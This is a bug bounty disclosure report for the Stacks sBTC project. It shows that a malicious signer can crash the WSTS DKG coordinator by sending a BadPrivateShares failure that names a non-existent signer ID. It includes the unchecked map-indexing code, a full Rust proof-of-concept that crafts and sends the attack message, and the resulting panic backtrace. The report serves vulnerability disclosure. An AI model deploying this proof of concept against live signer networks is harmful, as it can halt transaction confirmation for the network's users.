#40731 [BC-Medium] A malicious signer can force a panic in the coordinator by sending `DkgFailure::BadPrivateShares` with an invalid signer ID
Submitted on Mar 2nd 2025 at 12:12:26 UTC by @christ0s for Attackathon | Stacks II
Report ID: #40731
Report Type: Blockchain/DLT
Report severity: Medium
Target: https://github.com/stacks-network/sbtc/blob/immunefi_attackaton_1.0/Cargo.toml#L31
Impacts:
Network not being able to confirm new transactions (total network shutdown)
Description
Brief/Intro
A malicious signer can cause the coordinator to panic by submitting a DkgFailure::BadPrivateShares
message that contains references to non-existent signer IDs. The panic happens because the coordinator attempts to access entries in its internal maps without first validating that the keys exist. This vulnerability allows any malicious signer to completely halt the DKG process, preventing the formation of new signer sets and effectively stopping the network from processing transactions.
Vulnerability Details
In the coordinator's state machine, when processing a DkgStatus::Failure
with BadPrivateShares
, the code attempts to directly access internal maps with the reported signer IDs without first checking if those IDs actually exist:
// in wsts/src/state_machine/coordinator/fire.rs
DkgFailure::BadPrivateShares(bad_shares) => {
// bad_shares is a map of signer_id to BadPrivateShare
for (bad_signer_id, bad_private_share) in bad_shares {
// ... code that attempts verification ...
// This line causes a panic if bad_signer_id doesn't exist in the map
let dkg_public_shares = &self.dkg_public_shares[bad_signer_id]
.comms
.iter()
.cloned()
.collect::<HashMap<u32, PolyCommitment>>();
// This also causes a panic if bad_signer_id doesn't exist
// uses direct access and not .get()
let dkg_private_shares = &self.dkg_private_shares[bad_signer_id];
// ... rest of verification code ...
}
}
Proof of Concept
Proof of Concept
You can add the following code in the transactions_signer.rs
in WstsNetMessage::DkgEndBegin(request) => {
and run the following test:RUST_BACKTRACE=FULL RUST_LOG=wsts=trace,debug cargo test --package signer --test integration -- transaction_coordinator::sign_bitcoin_transaction --exact --show-output --nocapture
// === DKG END-BEGIN ===
WstsNetMessage::DkgEndBegin(request) => {
span.record(WSTS_DKG_ID, request.dkg_id);
if !chain_tip_report.is_from_canonical_coordinator() {
tracing::warn!(
?chain_tip_report,
"received coordinator message from a non canonical coordinator"
);
return Ok(());
}
let launch_panic_attack = true;
if launch_panic_attack {
println!("PANIC VULNERABILITY DEMO: BadPrivateShares with invalid signer ID");
// Import required types
use wsts::common::TupleProof;
use wsts::curve::point::{G, Point};
use wsts::curve::scalar::Scalar;
use hashbrown::HashMap;
use rand::rngs::OsRng;
// Get a real signer ID to use as the attacker
if let Some(&attacker_id) = request.signer_ids.first() {
// Create a valid tuple proof
let mut rng = OsRng;
let a = Scalar::random(&mut rng);
let A = Point::from(a);
let B = G;
let K = a * B;
let tuple_proof = TupleProof::new(&a, &A, &B, &K, &mut rng);
// Create a single BadPrivateShare
let bad_private_share = wsts::net::BadPrivateShare {
shared_key: K,
tuple_proof,
};
// Create a BadPrivateShares map with a single entry
let mut bad_shares_map = HashMap::new();
// Use a signer ID that definitely doesn't exist (9999)
let non_existent_signer_id = 9999;
bad_shares_map.insert(non_existent_signer_id, bad_private_share);
println!("Targeting non-existent signer ID {} to trigger panic", non_existent_signer_id);
// Create the attack message
let dkg_failure = DkgFailure::BadPrivateShares(bad_shares_map);
// First, clear out the waiting list by sending success messages for other signers
for &signer_id in request.signer_ids.iter().skip(1) {
let success_msg = message::WstsMessage {
id: msg.id,
inner: WstsNetMessage::DkgEnd(DkgEnd {
dkg_id: request.dkg_id,
signer_id,
status: DkgStatus::Success,
})
};
self.send_message(success_msg, &chain_tip.block_hash).await?;
}
// Send the panic-inducing message
let panic_msg = message::WstsMessage {
id: msg.id,
inner: WstsNetMessage::DkgEnd(DkgEnd {
dkg_id: request.dkg_id,
signer_id: attacker_id,
status: DkgStatus::Failure(dkg_failure),
})
};
self.send_message(panic_msg, &chain_tip.block_hash).await?;
println!("Panic attack message sent!");
println!("The coordinator will panic with: thread panicked at 'no entry found for key");
return Ok(());
}
}
// Normal processing
tracing::debug!("processing message normally");
let state_machine_id = StateMachineId::Dkg(*chain_tip);
self.relay_message(
&state_machine_id,
msg.id,
msg_public_key,
None,
&msg.inner,
&chain_tip.block_hash,
)
.await?;
}
// === DKG END ===
WstsNetMessage::DkgEnd(request) => {
. . .
Then we can see the logs:
running 1 test
PANIC VULNERABILITY DEMO: BadPrivateShares with invalid signer ID
Targeting non-existent signer ID 9999 to trigger panic
Panic attack message sent!
The coordinator will panic with: thread panicked at 'no entry found for key
PANIC VULNERABILITY DEMO: BadPrivateShares with invalid signer ID
Targeting non-existent signer ID 9999 to trigger panic
Panic attack message sent!
The coordinator will panic with: thread panicked at 'no entry found for key
PANIC VULNERABILITY DEMO: BadPrivateShares with invalid signer ID
Targeting non-existent signer ID 9999 to trigger panic
Panic attack message sent!
The coordinator will panic with: thread panicked at 'no entry found for key
thread 'transaction_coordinator::sign_bitcoin_transaction' panicked at /Users/useeeeer/.cargo/registry/src/index.crates.io-6f17d22bba15001f/wsts-13.0.1/src/state_machine/coordinator/fire.rs:607:68:
no entry found for key
stack backtrace:
0: _rust_begin_unwind
1: core::panicking::panic_fmt
2: core::option::expect_failed
3: core::option::Option<T>::expect
4: <hashbrown::map::HashMap<K,V,S,A> as core::ops::index::Index<&Q>>::index
5: wsts::state_machine::coordinator::fire::Coordinator<Aggregator>::gather_dkg_end
6: wsts::state_machine::coordinator::fire::Coordinator<Aggregator>::process_message
7: <signer::wsts_state_machine::FireCoordinator as signer::wsts_state_machine::WstsCoordinator>::process_packet
8: signer::wsts_state_machine::WstsCoordinator::process_message
9: signer::transaction_coordinator::TxCoordinatorEventLoop<C,N>::drive_wsts_state_machine::{{closure}}::{{closure}}
10: signer::transaction_coordinator::TxCoordinatorEventLoop<C,N>::drive_wsts_state_machine::{{closure}}
11: <tokio::time::timeout::Timeout<T> as core::future::future::Future>::poll
12: signer::transaction_coordinator::TxCoordinatorEventLoop<C,N>::coordinate_dkg::{{closure}}::{{closure}}
13: signer::transaction_coordinator::TxCoordinatorEventLoop<C,N>::coordinate_dkg::{{closure}}
14: signer::transaction_coordinator::TxCoordinatorEventLoop<C,N>::process_new_blocks::{{closure}}::{{closure}}
15: signer::transaction_coordinator::TxCoordinatorEventLoop<C,N>::process_new_blocks::{{closure}}
16: signer::transaction_coordinator::TxCoordinatorEventLoop<C,N>::run::{{closure}}::{{closure}}
17: signer::transaction_coordinator::TxCoordinatorEventLoop<C,N>::run::{{closure}}
18: integration::transaction_coordinator::sign_bitcoin_transaction::{{closure}}::{{closure}}
19: <core::pin::Pin<P> as core::future::future::Future>::poll
20: tokio::runtime::task::core::Core<T,S>::poll::{{closure}}
21: tokio::runtime::task::core::Core<T,S>::poll
22: tokio::runtime::task::harness::poll_future::{{closure}}
23: <core::panic::unwind_safe::AssertUnwindSafe<F> as core::ops::function::FnOnce<()>>::call_once
24: std::panicking::try::do_call
25: ___rust_try
26: std::panic::catch_unwind
27: tokio::runtime::task::harness::poll_future
28: tokio::runtime::task::harness::Harness<T,S>::poll_inner
29: tokio::runtime::task::harness::Harness<T,S>::poll
30: tokio::runtime::task::raw::poll
31: tokio::runtime::task::raw::RawTask::poll
32: tokio::runtime::task::LocalNotified<S>::run
33: tokio::runtime::scheduler::current_thread::CoreGuard::block_on::{{closure}}::{{closure}}
34: tokio::runtime::scheduler::current_thread::Context::run_task::{{closure}}
35: tokio::runtime::scheduler::current_thread::Context::enter
36: tokio::runtime::scheduler::current_thread::Context::run_task
37: tokio::runtime::scheduler::current_thread::CoreGuard::block_on::{{closure}}
38: tokio::runtime::scheduler::current_thread::CoreGuard::enter::{{closure}}
39: tokio::runtime::context::scoped::Scoped<T>::set
40: tokio::runtime::context::set_scheduler::{{closure}}
41: std::thread::local::LocalKey<T>::try_with
42: std::thread::local::LocalKey<T>::with
43: tokio::runtime::context::set_scheduler
44: tokio::runtime::scheduler::current_thread::CoreGuard::enter
45: tokio::runtime::scheduler::current_thread::CoreGuard::block_on
46: tokio::runtime::scheduler::current_thread::CurrentThread::block_on::{{closure}}
47: tokio::runtime::context::runtime::enter_runtime
48: tokio::runtime::scheduler::current_thread::CurrentThread::block_on
49: tokio::runtime::runtime::Runtime::block_on_inner
50: tokio::runtime::runtime::Runtime::block_on
51: integration::transaction_coordinator::sign_bitcoin_transaction
52: integration::transaction_coordinator::sign_bitcoin_transaction::{{closure}}
53: core::ops::function::FnOnce::call_once
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.
Was this helpful?